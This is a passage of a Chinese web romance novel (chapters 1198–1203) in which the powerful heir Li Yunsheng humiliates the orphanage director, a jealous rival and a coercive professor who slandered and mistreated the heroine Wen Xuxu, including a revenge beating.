他面容沉下来,黑眸阴鸷无情地扫向王双双,仿佛两道淬毒的利箭,只一个眼神便穿透她灵魂的防线。 第1198章 我的人,轮不到你来评判 王双双双腿发抖,仿佛被抽去了所有力气,寒意顺着脊骨直窜天灵盖。 这样的气场……除了那位还能是谁!帝城黎氏掌舵者黎云笙,阴狠毒辣,睚眦必报,护短又残忍,这些可怕的传言此刻如洪水般涌进她的脑海,将她彻底淹没。 而李丽杰还在一旁咆哮叫嚣,声音愈发尖利刺耳,仿佛失控的猛兽。 李丽杰此刻不曾注意到王双双的恐惧,满心只剩被羞辱的怒火:“双双这事儿你别管!我一定要教训这不知天高地厚的混小子!让他知道我们李家的厉害!” 王双双额角冷汗不停往下滴,如断线的珠帘,浸湿了鬓角的碎发。 她扯着李丽杰的衣袖,声音带着绝望的颤抖:“李院长你快别说了!快别说了!” “双双你怕什么!这儿是帝城,是我们李家的地方!他就算有点臭钱,能比得过我们李家的人脉吗!”李丽杰嘶吼着,唾沫星子飞溅,脖颈青筋暴起,活像一头发狂的鬣狗。 王双双的心沉入谷底,她死死咬住下唇,血腥味在口腔蔓延。 “李院长!他是黎少!” 她绝望地闭上眼,耳畔是李丽杰愈发刺耳的叫嚣:“我管他是什么黎……黎……”李丽杰的话音戛然而止,尾音尖利刺耳,仿佛被突然掐断的弦,破音的颤声在空气里扭曲。 李丽杰的瞳孔骤然收缩,如见鬼魅。 因为黎云笙缓缓迈步,皮鞋敲击地面的声响如催命符,一步步逼近。 他每踏一步,李丽杰便后退一步,直至后背抵住墙,再无退路。 “黎少?”李丽杰的声音突然变得干涩,嘴唇颤抖如风中枯叶。 李丽杰瞪大双眼,目光在黎云笙冷峻的面容与保镖们恭敬的姿态间来回扫视,冷汗浸透后背,瞬间湿透衬衫。 她终于意识到,自己踢到了铁板,而且是帝城最硬的铁板。 黎云笙停下脚步,与她咫尺之遥,黑眸如深渊,凝视着她仿佛在看一个将死之人。 他忽然轻笑,笑声却比寒冰更冷:“帝城李家?”他重复着李丽杰的话,尾音带着讥诮的弧度,“抱歉,我的字典里,从未出现过这四个字。” 他抬手,指尖轻点李丽杰颤抖的肩,力道却重如千斤,压得李丽杰膝盖一软,几乎跪倒在地:“不过,从现在起,你们该为自己做错的事赎罪了。”他语气轻描淡写,却如死亡宣告。 李丽杰彻底吓惨了,双腿一软瘫坐在地,衣服在此刻沾满灰尘。 他张着嘴,却发不出任何声音,喉咙仿佛被无形的手扼住。 李丽杰此刻终于明白,自己引以为傲的“帝城李家”,在黎云笙面前不过是蝼蚁的虚张声势。 而王双双早已瘫软在地,面如死灰。 她想起温栩栩那日被欺凌时,眼底闪烁的恨意与笃定,原来她真的找到了最锋利的刀,而她们,即将被这把刀彻底碾碎。 房间内陷入死寂,唯有李丽杰急促的喘息声如破风箱。黎云笙转身,不再多看她们一眼,黑眸扫过助理:“按规矩处理。”助理躬身应 李丽杰瞪大的双眼中终于浮现出惊恐的裂痕,那裂痕如冰面初裂,预示着即将崩塌的傲慢。 温栩栩缩在黎云笙怀中,仿佛一只受惊后终于寻得庇护的幼兽。 她唇角悄然勾起一抹得逞的弧度,那弧度如春日枝头初绽的桃花,藏着隐秘的胜利。 趁着黎云笙侧身之际,她迅速抬眼,目光如狡黠的狐狸,得意而幸灾乐祸地瞥向李丽杰与王双双,仿佛在说:你们方才的猖狂,此刻都成了自掘坟墓的笑话。 随即,她又如受惊般将脸更深地埋进黎云笙胸膛,纤细指尖轻轻拽了拽他昂贵的衬衫衣袖,声音绵软如撒娇的猫儿:“黎少,她瞪我,我好怕……她是不是又想打我……”那尾音带着恰到好处的颤栗,仿佛将满腔委屈都揉碎在了低语里。 王双双被这幕景象刺得双目赤红,她咬牙切齿,喉间几乎要迸出无声的咒骂。 你他妈……装什么装呢! 这算什么烂事儿! 温栩栩那个贱人,什么时候勾搭上黎家那位权势滔天的黎少了! 她凭什么搭上黎少!这一脚踏进黎家门还真让她变凤凰不成! 王双双脑中如沸水翻滚,嫉妒如毒蛇缠绞心肺。她想起那些市井流言。 传说中不是都说黎家黎少貌丑无盐、身材矮小吗!可此刻眼前这个男人,分明是造物主的杰作,轮廓如刀锋冷冽,黑眸深邃如墨潭,身姿挺拔如松,周身散发着令人窒息的矜贵气场。 呸!早知道黎少长成这样,她王双双何至于屈居人后!若有机会,她定会亲自攀上这棵参天大树,哪还能轮得到温栩栩这脏了身的烂货! 但转念一想,温栩栩早就名声尽毁,夜店驻唱的出身、被混混玷污的传闻,黎少这种人总不会玩一个烂货吧? 对,这是她的机会! 王双双深吸一口气,强压下翻涌的恨意,脸上挤出妩媚的笑容,扭着腰肢向前一步,声音如蜜糖裹着毒针:“黎少,您何必这么宠她呢?” 她刻意拖长的尾音带着蛊惑,指尖轻轻撩了撩鬓边散落的发丝,“您怀里抱着的这个女人,可是早就在夜店被一群不入流的混混玩烂了,这样的破烂货色,可真配不上黎少您的身份。” 黎云笙的黑眸骤然迸出冷芒,周身气压瞬间降至冰点。 他冷笑出声,那笑声如寒刃出鞘,裹挟着刺骨的讥讽:“她干不干净,难道我不清楚?轮得到你说?”他揽在温栩栩腰间的手臂微微收紧,仿佛要将她揉进骨血,掌心在她后背轻抚,动作温柔得仿佛能融化冰雪。 王双双的笑容瞬间扭曲,她咬住下唇,声音愈发尖锐:“黎少,她名声早就臭了!以前可是在夜店做过驻唱的,夜店那地儿有多乱,黎少您也是知道的。她这样的女人,指不定背地里还……” “够了。”黎云笙骤然打断她,黑眸冰寒,语气森冷:“我的人,轮不到你来评判。”他忽地低头,在温栩栩发顶落下蜻蜓点羽的一吻,那动作温柔得仿佛触碰易碎的琉璃,却让王双双瞳孔骤缩,如坠冰窟。 第1199章 想天凉王破? 温栩栩被这突如其来的吻惊得微微一颤,她仰起头,晶亮的眼眸里蓄着水汽,仿佛被吓坏了的小鹿。 可那眼底深处,却悄然闪过一丝得逞的狡黠。 她伸出白皙的指尖,如藤蔓般轻轻抓住黎云笙的衣袖,指尖无意识地摩挲着布料,声音带着撒娇般的委屈:“黎少,她们总这样欺负我……以前在夜店,我也是为了生计……”她尾音哽咽,眼眶泛红,却恰到好处地没有落下泪来,仿佛将脆弱与坚强糅合成了最动人的蜜糖。 其实温栩栩是在装在演,黎云笙也知道她在装在演,但他就是愿意配合此刻的温栩栩。 指尖的摩挲带着微妙的撩拨,黎云笙喉间发出一声低哑的笑,黑眸里泛起危险的暗涌。 他忽然俯身,鼻尖几乎蹭到她微红的耳垂,温热的气息喷在她敏感的耳廓:“为了生计?”他尾音带着戏谑的挑逗,指尖轻轻捏住她下颌,迫使她直视自己,“那现在,要不要考虑换个生计方式?” 他眸底跳跃着暧昧的火光,似乎是带着明显的调侃。 王双双看着这一幕,心头一股子火猛地窜上喉咙,几乎要将她焚毁。 这算什么!温栩栩分明在装模作样!她以前在夜店陪酒卖笑的样子,她王双双看得一清二楚!可现在,她竟像朵纯洁的白莲,在黎云笙怀里演着无辜的戏码! 狐狸精! 王双双指甲深深掐进掌心,恨意如野草疯长。 她猛地向前扑了一步,声音带着失控的尖利:“黎少!您不能被她骗了!她根本就是个……” “滚开。”黎云笙骤然抬眼,黑眸如地狱深渊,迸出森然杀意。 他周身气势暴涨,那一声“滚”字如惊雷炸响,震得王双双双腿发软,踉跄后退。 李丽杰早已瘫软在地,面如死灰,她这才明白,自己和李家,在黎云笙眼中不过是蝼蚁。 温栩栩却在这时愈发往黎云笙怀中缩去,仿佛被吓坏了的雏鸟。 她将整个重量都倚在他身上,柔软的发丝蹭过他胸膛,带来细微的痒意。 她偷偷抬眼,望着黎云笙下颌紧绷的线条,心跳如擂鼓。 她知道,这个男人此刻是她的盾,是她的刀,是她翻身的唯一依仗。 而方才那蜻蜓点水的一吻,那暧昧的低语,仿佛在她心湖投下石子,涟漪荡漾。 她忽然伸出舌尖,如小兽般轻轻舔了舔他喉结上凸起的那粒小痣,动作带着挑衅的意味。 黎云笙浑身一震,黑眸骤然深邃如墨。 王双双看着两人之间的互动,指甲几乎掐出血痕。她不甘地吞咽下喉间腥甜,眼底恨意如毒液翻涌。 温栩栩,你这个贱人……你以为攀上黎少就能高枕无忧了吗?夜店的那些腌臜事,那些混混的玷污……你以为能永远瞒得住?总有一天,你会从云端跌落,摔得粉身碎骨! 王双双盯着温栩栩依偎在黎云笙怀中的模样,心头一股子火猛地窜上喉咙,几乎要将她焚毁。 那狐狸精般的笑容,那柔弱无骨的姿态,仿佛将所有人的目光都牢牢钉在她身上。 王双双咬牙切齿,目光如淬毒的匕首刺向温栩栩,却只能眼睁睁看着黎云笙敛眉,将视线移向温栩栩那黑乎乎的小爪子。 温栩栩吐了吐舌头,无辜的眼眸里闪着狡黠的光,仿佛一只偷了腥的猫。 黎云笙瞧着她这副模样,嘴角不自觉地勾起一抹连他自己都未曾察觉的弧度。 他取了湿巾,抓住她沾了灰的手,细细擦拭起来。 那动作轻柔得仿佛对待一件易碎的瓷器,指尖在温栩栩手背上缓缓摩挲,仿佛在擦拭一件珍宝。 温栩栩的手并不太脏,只是方才蹭到地板上才沾了灰,湿巾一擦,又白白净净的,如同从未沾染过尘埃。 他边擦边开口,却并不抬头:“在我面前说我的人乱来?到底是谁跟她有过这种亲密关系,你可以让他们来找我。” 那话语如寒刃出鞘,裹挟着不容置疑的威压,让空气瞬间凝结成冰。 谁敢来找黎云笙跟他抢女人?怕不是想天凉王破! 李丽杰早已回过味儿来,暗戳戳打起了别的主意。 黎少现在这么宠温栩栩,他可是养大温栩栩的人,怎么都要捞点好处,总不能白白让温栩栩跟了黎云笙,是吧。他毕竟是曾经孤儿院的院长,那算是温栩栩半个父亲了,要点好处绝对不过分。 李丽杰脸上堆起谄媚的笑,仿佛方才的咆哮与狰狞不过是场幻觉。 李丽杰躬着身子,声音里挤出讨好的意味:“黎少……这,这是我之前有眼不识泰山不知道是您才大放厥词。现在知道您跟栩栩的关系,我心里实在是高兴,这……我这是听说黎氏开辟中等服饰市场,不如我们详谈一下合作的事?” “我敢保证我们李氏做出来的衣服都是最好的!”李丽杰言辞急切,仿佛生怕黎云笙拒绝。 温栩栩听了,捂着嘴嗤笑出声,笑声里满是讥讽。 她趴在黎云笙怀中,眉眼弯弯,语气却如利刃:“李院长,你们李家做的衣服都是什么档次的你心里没数吗?” “整天做低档货现在还想揽黎氏的活儿?我看你是想从中吞钱吧。”李丽杰脸色一僵,喉间冒出一句“贱人闭嘴”,但想到现在温栩栩惹不得,硬生生将话咽了回去,面容扭曲地挤出笑容:“栩栩你这是说什么呢,李家也是要走中高端市场了,如果黎少肯给个机会,以后就能在这中档市场站稳脚跟了。”李丽杰笑得虚伪,仿佛一张被揉皱又强行抚平的纸。 温栩栩挑了挑眉,指尖在黎云笙胸膛上轻轻画着圈,语气慵懒却带着刺:“我们黎少凭什么给你机会呢,我跟黎少在一起可不是为了让李院长你占便宜的。” 这个贱人! 李丽杰脸色瞬间阴沉如墨,但转瞬又强压下怒火,声音带着几分哀求:“黎总,您跟栩栩是这种关系,给我点好处可不算过分吧。毕竟当年可是我养大了温栩栩,我怎么说都算是她半个父亲了。” 第1200章 半个父亲 他刻意加重“半个父亲”四字,浑浊的眼珠在金丝眼镜后滴溜溜转,仿佛将温栩栩的过往当成待价而沽的筹码。会议室水晶吊灯折射出冷光,照得他油亮的鬓角泛起虚假的慈祥。 黎云笙眉峰微挑,骨节分明的手指轻叩檀木桌面,发出沉闷的节奏。 这时候倒是敢往他自己脸上贴金了。 黎云笙擦拭的动作一顿,黑眸骤然抬起,目光如寒潭般深邃冰冷。 他刻意强调“半个父亲”,仿佛要将养育之恩化作道德的枷锁,捆住黎云笙与温栩栩。 他缓缓起身,揽着温栩栩的腰肢,将她护在身后,仿佛一座不可逾越的山岳。 他唇角勾起一抹讥诮的弧度,声音如冰刃划过空气:“半个父亲?据我所知,李院长当年在孤儿院可没少克扣孩子们的伙食费吧?温栩栩被混混欺负时,你可是收了好处睁一只眼闭一只眼。现在倒好,拿着这点所谓的‘养育之恩’来要挟我?”他每说一句,李丽杰的脸色便苍白一分,冷汗如雨般滑落。 温栩栩从黎云笙身后探出头,眉眼弯弯:“李院长,您可别忘了我手里还有您当年签的‘免责协议’呢。那份协议上,您可写得清清楚楚,孤儿院的孩子出了任何事,都跟您无关。怎么,现在倒想攀亲戚了?”她晃了晃手机,屏幕上赫然是那份协议的照片。 李丽杰瞳孔骤缩,如坠冰窟。 她这才明白,自己和李家,在黎云笙眼中不过是蝼蚁,而温栩栩早已不是那个任她拿捏的孤女。 李丽杰面上带着几分尴尬的笑,似乎是有那么点无地自容的感觉,温栩栩也不给她面子。 温栩栩轻笑出声,红唇勾起嘲讽的弧度。 她倚在黎云笙身旁,丝绸裙摆随动作流淌如水,指尖却悄然攥紧他西装袖口,这细微的动作被黎云笙收入眼底,他垂眸时,眸底掠过一丝不易察觉的柔软。 她抬高下颌,目光如淬冰:“李院长,您这话说得可太有意思了。当年您‘养大’我,不过是把我当免费佣人使唤,稍有差池非打即骂,这‘养育之恩’,我可不敢忘。” “而且,住在孤儿院里面,能得到你多少优待?当年你让人霸占我的奖学金甚至诬陷我偷窃的事情你也应该都还记得清清楚楚。” “你这样的院长,我可不敢认。” 李丽杰喉头一哽,脸色青白交错。 他未曾料到温栩栩会在黎云笙面前撕破脸皮,那些腌臜事被摊在阳光下,他只觉得后背发凉。 王双双坐在他身侧,指甲深深掐进掌心,眼底翻涌着嫉恨。 她曾以为温栩栩永远只能匍匐在泥潭里,却没想到她竟攀上了黎云笙这根高枝。 这个时候温栩栩还不忘说清楚自己跟黎云笙之间的关系,生怕这两人想得太多了误会了他们的关系。 “我跟黎少是哪种关系了?我就是黎少众多小情儿中的一个,黎少可没给别的小情儿加这待遇。” 温栩栩忽而换作娇嗔的语调,故意将“小情儿”三字咬得轻佻。 她瞥见黎云笙眉间微蹙,却故作不知,继续俏皮道:“黎少接人待物哪怕是对身边人都是一视同仁的态度,可不能为了我就坏了这个规矩。李院长你要是想跟黎氏合作就好好做策划,说不准还有出路,想走后门啊……那没可能。” 她尾音拖得绵长,眼角余光扫过李丽杰铁青的面庞,心中涌起快意。 这些年被这两人踩在脚下的屈辱,此刻终于能化作利刃刺回去。 李丽杰猛地拍桌,茶杯震得叮当响:“温栩栩!你别给脸不要脸!当年要不是我收留你,你早就饿死街头了!” “李总。” 黎云笙的声音如淬寒冰,终于打断这场闹剧。 他长指抚过温栩栩发顶,动作温柔得仿佛触碰易碎瓷器,却让李丽杰心头骤紧:“合作的事你不用想,黎氏与李氏合作,掉价。”他薄唇轻启,吐出的每个字都像钉入棺材的钢钉:“现在我们来算笔帐。” 李丽杰瞳孔骤缩。 他这才惊觉,自己低估了黎云笙对温栩栩的维护。传闻中这位冷面阎王从不近女色,却为温栩栩破了例……他喉间发苦,强撑道:“黎总,我这是被气坏了。栩栩他之前总是喜欢胡闹,在酒吧就被那群混混毁了清白,我实在是着急生气这才动手了,黎总你年纪还小,是没办法体会我这种做父亲的心情。” 他刻意将“毁了清白”咬得重,仿佛要将温栩栩钉在耻辱柱上。 王双双适时补刀:“温栩栩,你当年在酒吧跟男人搂搂抱抱的视频我可还存着呢,黎总要是想看……”话音未落,黎云笙已抬手制止。 你的人不也是他养大的吗!如果不是他,温栩栩早就死了!他动手教训我自己的‘养女’那是天经地义的!碍着你什么事儿!李丽杰气的嗓子疼。 他暗自咬牙,试图用道德绑架黎云笙。却不知,此刻黎云笙的怒火已濒临临界。 “黎总,我……” 李丽杰还想狡辩,却被黎云笙截断:“我的人,轮不到你教训。”他起身,西装革履衬得身形如松,气场却压得李丽杰几乎喘不过气。 李丽杰咬牙,好不容易才开口道:“可温栩栩当初在夜店没少胡闹,黎少这也不在意吗?” “错的是那群混混,为什么让温栩栩担责?”黎云笙冷笑,字字如冰刃刺向李丽杰。 李丽杰喉间一哽,他从未想过这位素以冷峻著称的黎少,竟会处处为温栩栩着想,甚至不惜将责任全盘推翻。 他正欲狡辩,黎云笙却骤然打断:“温栩栩的清白是被我毁的,你满意吗?”他声音阴冷如寒潭,眸底翻涌着暴戾的暗流。 此言一出,李丽杰与王双双皆是一愣,仿佛被扼住了咽喉。 王双双跳出来嚷嚷,“她想勾搭黎少您肯定不能脏着去,一定是先去了一趟医院做了那修复手术!” 王双双正欲借此煽风点火,却未料自己精心编织的谎言,即将被撕成碎片。 第1201章 你比毒蛇更可怕 “这么了解这些,怪不得是做过修复手术的女人。”黎云笙的声线如淬毒的银针,精准刺入王双双的心脏。 王双双脚下一踉跄,踉跄后退两步,瞪圆了眼睛,满脸不敢置信。 她如坠冰窟,冷汗浸透后背,仿佛被剥光了衣衫扔进闹市。 她是个玩得疯的,十五六岁便早恋与人厮混,高中时期更是放纵无度,直至大学遇见心仪之人,才因恐惧对方介意而偷偷做了修复手术。可这个秘密,她以为早已被深埋进岁月的泥沼,却万万没想到会被黎云笙当众揭穿! “王小姐性情凉薄,撒谎成精,害人成瘾。”黎云笙的声音如审判的锤音,字字砸在王双双的头顶。 他目光如炬,掷地有声地揭穿她的伪装:“酒吧混混事件,不也是你一手促成的?A大那些散播的照片,是你亲手印刷发放在论坛,用污言垢语将温栩栩钉在耻辱柱上。这次又是你因自己相貌丑陋、品行不端,嫉妒温栩栩的才华与容颜,便如毒蛇般盘踞暗处,妄图将她彻底毁掉。王双双小姐,你比毒蛇更可怕。” 温栩栩蜷缩在黎云笙怀中,听着他如雷霆般揭穿王双双的罪行,心头五味杂陈。既有对李丽杰与王双双的滔天恨意,又有对黎云笙强势护短的酸涩甜蜜。 她指尖无意识地攥紧他的衣襟,仿佛抓住浮木的溺水者。 果然,从他出现的那一刻起,她便感受到了前所未有的安全感,如同被坚不可摧的壁垒护在身后。 而一旁的彭脆脆,早已被怒火点燃。 她双拳紧握,指节发白,胸膛剧烈起伏,仿佛压抑着即将喷发的火山。 当黎云笙话音落下,她猛地爆发出震耳欲聋的咆哮:“竟然还是个连环计!?你还是人吗!?”她如一头暴怒的母狮,径直冲向王双双。 王双双尚在震惊中未回过神,便被彭脆脆一把揪住头发,狠狠按倒在地。 彭脆脆扬起手掌,耳光如雨点般落下,噼啪声在空旷的办公室内回荡。 “你喜欢系草那你就凭本事抢!我们栩栩瞧不上那个垃圾,拱手让给你啊!可你千不该万不该起了这些心思!”彭脆脆嘶吼着,每一句话都裹挟着滚烫的怒火。 她另一只手揪住王双双的衣领,将她拽得仰起脸,耳光又狠狠扇下,“你自己肮脏不堪,就要搞臭温栩栩!你还是个人吗!?这世上怎么会有你这样恶毒的人!” 她的声音带着撕裂般的痛楚,仿佛要将这些年积压的委屈与愤怒一次性倾泻而出。 王双双被打得头晕目眩,嘴角溢出血丝。 她挣扎着试图反抗,却被彭脆脆死死压住。 她呜咽着哭泣,声音破碎如风中残烛:“我没有做……我什么都没有做!”她的哭诉在彭脆脆耳中,却成了最刺耳的挑衅。 彭脆脆的怒火更盛,她揪住王双双的头发猛地一扯,王双双的头皮传来剧痛,痛呼出声。彭脆脆却冷笑一声,声音如淬毒的匕首:“哭?你哭什么?这算什么?这才哪到哪。王双双,挨一顿打太便宜你,我会让你……身败名裂!” 李丽杰满脸怔然,他从未见过如此暴烈的场景。 他有些迟钝地想要上前阻拦,却被黎云笙的保镖如钢铁般拦住。 保镖们身形如山,面无表情,仿佛一道不可逾越的屏障。 李丽杰喉间哽着咒骂,却只能眼睁睁看着王双双被暴打。 可以说之前李丽杰是怎么欺辱温栩栩的,现在彭脆脆尽数全都还了回去,半点不含糊。 而黎云笙则冷眼旁观,他揽着温栩栩的腰肢,指尖在她颤抖的肩头轻抚,声音低沉如暗夜:“让她发泄。”他知晓,彭脆脆的怒火,正是对温栩栩这些年受尽屈辱的迟来清算。 王双双蜷缩在地,头发凌乱如杂草,脸上红肿交错,泪水与鼻涕糊成一团。 她试图辩解,可彭脆脆的耳光却如暴雨般落下,让她的话语破碎成呜咽。 她这才真正意识到,自己精心编织的谎言与阴谋,在黎云笙的雷霆手段与彭脆脆的暴烈怒火下,脆弱如纸。 她恨,她怨,可她更怕,怕黎云笙会将她的丑事公之于众,怕她苦心经营的形象与未来,在顷刻间灰飞烟灭。 彭脆脆的拳头如铁锤般砸向王双双,每一击都带着雷霆万钧的力道。 她脑海中闪过无数画面,温栩栩在酒吧被混混围困时的绝望,在A大论坛被污言秽语淹没时的崩溃,她恨自己当年未能及时阻止,恨自己未能更早撕开王双双的虚伪面具。 如今,她要为温栩栩讨回一丝公道。 “你这种人,就该被打进地狱!”彭脆脆嘶吼着,又一拳砸在王双双的腹部。王双双痛得蜷缩成虾,身体剧烈抽搐。 她呜咽着求饶:“别打了……求你别打了……”可彭脆脆的怒火岂会轻易熄灭?她揪住王双双的头发,将她拽得仰起脸,目光如淬毒的匕首:“求饶?当年温栩栩向你求饶时,你可曾放过她!?” 温栩栩望着却还在笑着,她像是完全不害怕,甚至还觉得某人罪有应得。 王双双蜷缩在地,呜咽着哭泣,声音破碎如风中残烛:“我没有做……我什么都没有做!”她泪眼婆娑,鼻涕与泪水交织,狼狈不堪。 温栩栩望着她,却忽然在黎云笙耳边很小声呢喃:“我哭起来也这么丑的吗?”她的声音轻若蚊蝇,却带着几分孩子气的忐忑。 黎云笙挑眉,眉峰微扬,似乎有些不明白她怎么就能思维发散到这里。 温栩栩又学小孩子做派,指尖轻轻摇晃他的衣袖,指尖如蝶翼般轻颤,带着撒娇的意味。 外面都谣传黎云笙这人狠毒,可真正接触了才发现,这人很护短。 如果是他的人,他会很温柔。 温栩栩知晓他的性子并不像外面传的那样,胆子也大起来,像是要等他说个答案,夸一夸自己。 被她缠了这么久,男人面上没有半点不耐,反而眸色渐暖,仿佛寒冰融化,春水初生。 第1202章 资源,我没有吗 “你哭起来……”他声音压得很低,低醇如暗夜的呢喃,温热的气息拂过她耳畔,激起一阵酥麻的颤栗,“很好看。”他眸光变得晦深幽暗,眼底却翻涌着温柔与炽热。 温栩栩能清晰感受到他喉结的滚动,那声音仿佛带着电流,直直窜入她的心脏。 在她耳边低喃:“我喜欢看你在我面前哭。”那声音如丝如缕,缠绕着她的耳膜,仿佛带着蛊惑的魔力。 轰—— 温栩栩果真如男人预想的红了脸。 她知晓自己哭起来好看,可她没有说那时候! 呵,男人。 她的耳朵尖都跟着红了,仿佛被晚霞染透的樱桃,粉嫩欲滴。 只这句话逗弄的她身子软叽叽攀在他身上,喉间发出一丝轻微的哼声,像是舒服的又像是在撒娇。 像极了大猫被撸下巴撸得高兴时发出满足愉悦呼噜声的模样,慵懒又依赖。 黎云笙的喉间溢出一声轻笑,仿佛春冰初裂,清冽又温柔。 他揽住她腰肢的手微微收紧,将她更贴近自己,仿佛要将她揉进骨血之中。温栩栩的鼻尖几乎要蹭到他的胸膛,能清晰听见他胸腔里沉稳的心跳,如鼓点般叩击着她的神经。 窗外,夕阳的余晖斜斜洒入办公室,为两人镀上一层朦胧的金边。黎云笙的指尖无意识地摩挲着她散落在肩头的发丝,发丝如丝绸般顺滑,从他指尖流淌而过。 温栩栩仰起头,望着他,睫毛轻颤如蝶翼,眸中水光潋滟,仿佛藏着整个星河。 她喉间的那声哼鸣,带着撒娇的意味,又似带着一丝羞怯的嗔怪。黎云笙的眸光愈发幽深,仿佛要将她溺毙其中。 他低头,鼻尖几乎要蹭到她的,温热的呼吸交织在一起,暧昧的气息在两人之间流淌。 “那晚……”他忽然低语,声音沙哑如砂纸摩擦,带着回忆的潮涌,“你嘴里还喊着我的名字……”他的指尖轻轻抚上她的脸颊,仿佛触碰着稀世珍宝,动作轻柔如拂过花瓣。 温栩栩的脸更红了,仿佛要滴出血来。 “我喜欢看你在我面前哭。”他再次低喃,声音带着蛊惑的魔力,仿佛要将她彻底俘获。 温栩栩的喉间哽住,心头涌起一股复杂的情绪。有羞怯,有甜蜜,也有酸涩。她知道,这个男人,看似冷峻如冰,实则内心炽热如火。他护短,他温柔,他愿意成为她的依靠,哪怕没有爱,也愿将她当作责任。 这样的他,让她感到安心,也让她心生悸动。 她攀在他身上的身子愈发柔软,仿佛没有骨头一般。喉间的哼声愈发清晰,带着撒娇的意味,也带着一丝依赖的安心。 黎云笙的胸膛微微起伏,他低头,吻住了她的耳尖。 温热的触感如电流般窜过,温栩栩浑身一颤,发出一声低低的呜咽,仿佛受惊的小兽。 可他的吻却愈发温柔,如羽毛般轻拂,从耳尖蔓延至脸颊,再到唇角。 温栩栩的眸中泛起雾气,她闭上眼,任由他索取,指尖无意识地攥紧他的衣襟,仿佛抓住浮木的溺水者。 办公室内,空气仿佛凝固,只剩下两人交织的呼吸声。 黎云笙的吻愈发温柔,他揽住她腰肢的手微微用力,将她彻底圈进怀中。温栩栩的喉间发出满足的声音,真的如大猫般慵懒,她蜷缩在他怀中,脸颊蹭着他的胸膛,仿佛寻找着最安心的港湾。 她知道,这个男人,会成为她的依靠,会成为她的光。哪怕没有轰轰烈烈的爱,这份责任与守护,也足以让她安心。 温栩栩像是猫咪一样攀在他怀中撒娇,温软的躯体如云朵般依偎着黎云笙,指尖无意识地在他胸膛上画着圈,余光却落在被彭脆脆打哭的王双双身上。 王双双蜷缩在地,发丝凌乱,脸颊红肿,眼泪鼻涕糊成一团,狼狈如丧家之犬。 温栩栩会同情王双双吗? 不,从王双双想要陷害她那天开始,她就不会同情王双双了。 因为同情自己的敌人只会让自己更加悲惨。 她可不是圣母。 她的哭对温栩栩而言是最好的调节剂,是胜利的号角,是恶人终食恶果的狂欢。 这算什么?这才哪到哪。 温栩栩唇角勾起一抹笑,如淬毒的刀锋,冷冽而致命。王双双,挨一顿打太便宜你,我会让你……身败名裂! 她收回目光,眼底的笑意如潮水般退去,取而代之的是一片寒潭般的冷寂。 指尖在黎云笙衣襟上的动作也停了,脊背挺得笔直,仿佛一只收起利爪的猫,瞬间化作蓄势待发的猎豹。 黎云笙察觉到了她情绪的变化,揽在她腰间的手微微收紧,下颌轻抵她的发顶,温热的呼吸拂过她的耳畔:“想做什么,我陪你。”他的声音低沉如大提琴的弦音,带着不容置疑的笃定。 温栩栩心头一颤,侧头望向他,眸中泛起一丝波动。 她深吸一口气,压下胸腔翻涌的情绪,唇角勾起一抹冷笑:“黎少,你忘记要让我挂科的马主任了。” 此言一出,角落里的马楠如遭雷击,浑身猛地一哆嗦。 他本已缩在人群后,恨不得将自己藏进地缝,此刻却被温栩栩点名,仿佛被无形的手从黑暗中揪出,暴露在聚光灯下。 他的脸色瞬间煞白,嘴唇哆嗦着,连求饶的话都卡在喉咙里,发不出声音。 马楠此刻头昏脑涨,助理已经派了保镖去捉,马楠哭天喊地,“温栩栩,我能给你资源!我什么都能给你!你放过我!你放过我啊!” 黎云笙眼神冰冷,“资源,我没有吗。” 马楠的瞳孔猛地收缩,他这才想起,眼前这位可不是他能随意拿捏的小角色。 黎云笙,帝城大家族黎家的首席继承人,黎氏掌舵者,权势滔天,富可敌国。 他要想捧温栩栩,可以亲自为她组建顶级团队,请来国际顶尖的导演、编剧,制作大女主的剧和电影,甚至打造专属的影视帝国。哪里轮得到他这种喽啰“施舍”?马楠的喉头滚动,咽下一口苦涩的唾沫,双腿发软,几乎要瘫倒在地。 第1203章 他不会有出来的那一天 “温栩栩,我能给你资源!我什么都能给你!你放过我!你放过我啊!”他忽然爆发出嘶哑的嚎叫,仿佛抓住最后一根救命稻草,扑向温栩栩的方向。 然而,黎云笙的保镖如铜墙铁壁般挡在他面前,他连温栩栩的衣角都触碰不到。 他挣扎着,涕泪横流,模样凄惨至极。 温栩栩冷冷地看着他,目光如冰,没有一丝波动。 她记得,当初马楠是如何仗势欺人,以挂科威胁她,要她陪酒、陪睡。她记得,自己是如何在深夜独自流泪,却咬牙不肯屈服。 如今,风水轮流转,轮到马楠跪地求饶了。 “资源?”温栩栩忽然轻笑出声,笑声如银铃般清脆,却带着刺骨的寒意,“马主任,您给的资源,我怕是消受不了,目光扫过马楠颤抖的身躯,仿佛在看一个跳梁小丑,“您以为,就凭您那点权势,就能随意拿捏别人的命运?”她的语气陡然转厉,眼中迸射出锐利的光芒,“您错了。您那点肮脏的伎俩,在我面前,不过是跳梁小丑的把戏!” 马楠的哭声戛然而止,他瞪大眼睛,满脸不敢置信。他从未想过自己会被她踩在脚下,如蝼蚁般卑微。 他忽然想起,当初温栩栩被王双双陷害时,那副孤立无援的模样。他以为她好欺负,却不知,她早已将所有的屈辱,化作了复仇的利刃。 “送进去。”黎云笙的声音冷如寒冰,不带一丝感情。 保镖们立刻架起马楠,如拖死狗般将他往外拽。马楠挣扎着,哭天喊地,声音凄厉如鬼嚎:“温栩栩,你不能这样!你不能赶尽杀绝!这圈子有多少人潜规则玩这一套,凭什么只有我沦落到这一步?温栩栩你今天毁了我,你自己又能走多远?”他的嘶吼声在走廊里回荡,却无人理会。 马楠失魂落魄老泪纵横,被带走时心里也无比悔恨。 他踉跄着脚步,被保镖架住胳膊,仿佛一具被抽去魂魄的行尸。 浑浊的泪水顺着皱纹密布的脸颊滚落,在走廊昏暗的灯光下,映出斑驳的阴影。 他的嘴唇颤抖着,喃喃自语:“如果当初不去听李家的,不掺和得罪温栩栩的事该多好……”声音沙哑如破风箱,带着浓重的悔意。他想起温栩栩那张倾国倾城的脸,那双清冷如水的眼眸,心中猛然刺痛。 那样的女人,怎么可能背后无人?是他目光短浅,只当她是任人宰割的羔羊,却不知她早已是蛰伏的猛兽,只待时机撕碎敌人。 可悔恨的念头刚冒出头,便如被毒液侵蚀般扭曲变形。他忽然瞪大布满血丝的眼睛。 他内心满是不甘不怨。 温栩栩为什么要赶尽杀绝?为什么要这么狠! 